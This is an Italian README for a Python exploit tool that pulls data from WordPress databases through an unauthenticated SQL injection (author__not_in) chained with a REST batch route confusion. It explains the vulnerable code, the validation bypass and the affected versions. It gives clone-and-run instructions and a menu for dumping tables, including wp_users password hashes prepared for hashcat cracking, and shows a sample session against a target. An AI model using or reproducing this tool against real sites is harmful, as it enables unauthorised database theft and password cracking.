
wpsqli estrattore SQLi completo + dump per CVE-2026-60137
Uno strumento veloce e guidato da menu per l'estrazione di database che sfrutta la vulnerabilità di SQL injection
author__not_innel core di WordPress. Questo strumento si concentra esclusivamente sull'enumerazione e sul dump del database, sfruttando la confusione delle route batch REST (CVE-2026-63030) per raggiungere il sink SQLi senza autenticazione.
wpsqli è uno strumento in puro Python progettato per sfruttare una vulnerabilità concatenata nel core di WordPress che consente un'iniezione SQL non autenticata nel database. Aggira la validazione della REST API di WordPress tramite un bug di confusione delle route batch, portando un payload stringa grezzo direttamente al sink SQL di WP_Query.
Questo strumento è pensato per velocità e flessibilità: tenta automaticamente l'estrazione in-band basata su UNION (istantanea), ripiega sull'estrazione boolean-blind parallela a 8 thread e infine sull'estrazione time-based sequenziale, se necessario.
Questo strumento combina due vulnerabilità indipendenti per ottenere un'estrazione del database senza autenticazione:
author__not_in (CVE-2026-60137)Posizione: wp-includes/class-wp-query.php, WP_Query::get_posts()
Il parametro author__not_in applica la sanitizzazione absint() solo se l'input è un array. Se viene passata una stringa, il controllo is_array() viene saltato, la stringa attraversa implode() senza modifiche e viene concatenata grezza nella clausola SQL $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
L'endpoint posts della REST API mappa author_exclude su author__not_in ma lo dichiara come type => 'array' di interi, quindi il core converte/rifiuta una stringa. Il Bug B fa passare la stringa oltre la validazione abusando di un bug di desincronizzazione nell'endpoint batch REST (/wp-json/batch/v1). Iniettando un primer di percorso malformato che wp_parse_url() rifiuta, un WP_Error viene inserito nella lista delle richieste batch, desincronizzando $matches da $validation. Questo consente a una sotto-richiesta successiva di essere smistata verso l'handler sbagliato senza validazione dei parametri.
| Intervallo di versioni | Stato |
|---|---|
| 6.8.0 – 6.8.5 | Bug SQLi presente, ma catena NON raggiungibile (confusione batch introdotta in 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABILE — catena completa senza autenticazione |
| 7.0.0 – 7.0.1 | VULNERABILE — catena completa senza autenticazione |
| 6.8.6 | Corretto (SQLi) |
| 6.9.5 | Corretto |
| 7.0.2 | Corretto |
| 7.1-beta2+ | Corretto |
Avvertenza: Il sink SQLi viene raggiunto solo quando non è in uso una cache degli oggetti persistente (Redis/Memcached).
pip install richiesto.wp_posts fittizia per estrarre intere stringhe in una singola richiesta HTTP (istantanea).Ctrl+C durante l'estrazione ferma la query corrente e restituisce risultati parziali senza far crashare la sessione.ID|user_login|user_pass con hash bcrypt pronti per hashcat -m 35500.Nessuna installazione richiesta. Basta scaricare ed eseguire:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requisiti:
Avvia il menu interattivo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Opzione | Descrizione |
|---|---|
0 | Connettiti a un target (sanitizza gli URL automaticamente) |
1 | Verifica la vulnerabilità e la modalità di estrazione attiva |
| Opzione | Descrizione |
|---|---|
2 | Estrai la versione di MySQL (SELECT @@version) |
3 | Estrai il nome del database corrente (SELECT DATABASE()) |
4 | Estrai l'utente DB corrente (SELECT CURRENT_USER()) |
5 | Estrai il prefisso delle tabelle di WordPress |
6 | Dump della tabella wp_users (ID, login, hash della password) |
7 | Esegui una query SQL personalizzata |
8 | Esegui tutti i fingerprint (opzioni 2-5) in sequenza |
| Opzione | Descrizione |
|---|---|
9 | Elenca tutti i database sul server MySQL |
10 | Elenca tutte le tabelle nel database corrente o specificato |
11 | Elenca tutti i nomi di colonna per una tabella specifica |